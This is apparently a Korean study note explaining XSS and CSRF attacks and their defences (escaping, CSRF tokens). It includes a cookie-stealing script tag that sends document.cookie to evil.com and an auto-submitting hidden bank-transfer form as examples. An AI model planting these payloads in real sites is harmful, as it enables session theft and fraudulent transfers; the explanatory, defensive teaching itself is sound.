XSS / CSRF ( 크로스 사이트 스크립팅 )

XSS 란?

  1. 공격자가 게시글등이나 메일에 악성코드를 실행하는 script태그등을 적어서 사용자가 클릭할수있게한다.

  2. 그 악성 코드가 포함된 글을 사용자가 열게 되면 해당 script내에 있는 내용을 실행한다

  3. 만약 해당 악성 코드 내에서 로그인한 사용자의 개인 정보가 담긴 쿠키(로그인 가능한 세션정보)등을 공격자의 서버로 보내는 코드가 포함되어있는경우 공격자의 서버로 해당 정보를 보내게 되고 개인정보가 탈취된다 ( XSS : 쿠키탈취)

CSRF란?

  1. 사용자가 구글이나 은행등의 서비스에 로그인된 상태이다

  2. 사용자가 메일이나 불법사이트등을 클릭한다

  3. 해당 사용자는 공격자가 적어놓은 악의적인 요청을 실행한다

    요청은 <form>등의 백그라운드에서 실행되는 형태이기때문에 사용자가 눈치채지 못한다

    악의적인 요청의 내용은 이와같다. 사용자가 구글이나 은행등 유명 서비스에 접속한것을 확인한다

    그러면 악의적인 요청을 실행한다. 은행의 계좌이체나 불법게시물 등록등을 실행한다

  4. 사용자가 로그인된 정상적인 상태이기때문에 위의 악의적인 요청을 서버에서 실행한다

    (CSRF:공격자가 만든 악의적인 요청을 계속 서버에 요청)

CSRF와 XSS의 차이

  • XSS는 악의적인 스크립트 코드를 게시물등에 심어서 쿠키를 공격자에게 보내도록하여 개인정보를 탈취하여 공격자가 이를 악용

    • 상황: 사용자가 웹사이트에 댓글을 남길 수 있는 시스템이 있고, 이 댓글 시스템이 사용자 입력을 적절히 검증하거나 이스케이프하지 않는다고 가정합니다.

    // 공격자가 남긴글
    <script>document.location='http://evil.com/steal.php?cookie='+document.cookie;</script>

  • CSRF는 공격자가 악의적인 요청을 실행하는 링크나 사이트를 사용자가 클릭하도록 하여 사용자가 악의적인 요청을 보내게 만들어버림

    • 상황: 사용자가 로그인된 상태에서, 공격자가 만든 악의적인 웹페이지를 방문하게 됩니다. 이 웹페이지는 사용자의 은행 계좌에서 송금을 실행하는 폼을 자동으로 제출합니다.

    <html>
      <body>
        <h1>이 페이지는 악의적인 페이지입니다!</h1>
        <form action="http://your-bank.com/transfer" method="POST" id="evilForm">
          <input type="hidden" name="account" value="hacker's account number" />
          <input type="hidden" name="amount" value="1000" />
        </form>
        <script>
          document.getElementById('evilForm').submit();
        </script>
      </body>
    </html>

막기위한 방법

  1. 최신 브라우저등은 CORS등을 지원하고있다. CORS는 해당 스크립트에서 현재 도메인과 다른곳에 요청을 보내지 못하도록 제한하는것이다

    그러므로 브라우저 업데이트를 하거나 구식 IE등은 사용하지않아야한다

  2. Character escaping기능을 사용한다. Character escaping란 <>등의 태그를 입력시 "&lt;sciprt&gt;alert(1)&lt;sciprt&gt;"등으로 태그를 변환해준다

    현재 사용중인 TOAST UI Editor등의 WYSIWYG 에디터툴은 글을 작성시 태그가 입력되어있을시 자동으로 위와같이 변환해준다 (XSS방지)

  3. CSRF 토큰 검증을 사용한다 (라라벨의 경우 블레이드 템플릿의 @csrf 지시자) (CSRF방지)

    서버의 세션에서 임의의 CSRF토큰을 만들어서 요청한 페이지의 hidden타입의 input태그에 저장한다.

    그리고 이후 유저한테서 요청이 올 경우 서버에서 발행한 CSRF토큰과 요청한 페이지의 CSRF토큰이 일치하는지 확인한다

    →추가설명

    즉 공격자의 form 요청에는 매번 바뀌는 CSRF토큰은 없기때문에 실행이 안됨


참조

https://www.youtube.com/watch?v=LfI6TAchgT4

https://junhyunny.github.io/information/security/spring-boot/spring-security/cross-site-reqeust-forgery/

Jul 10, 2023 Views 119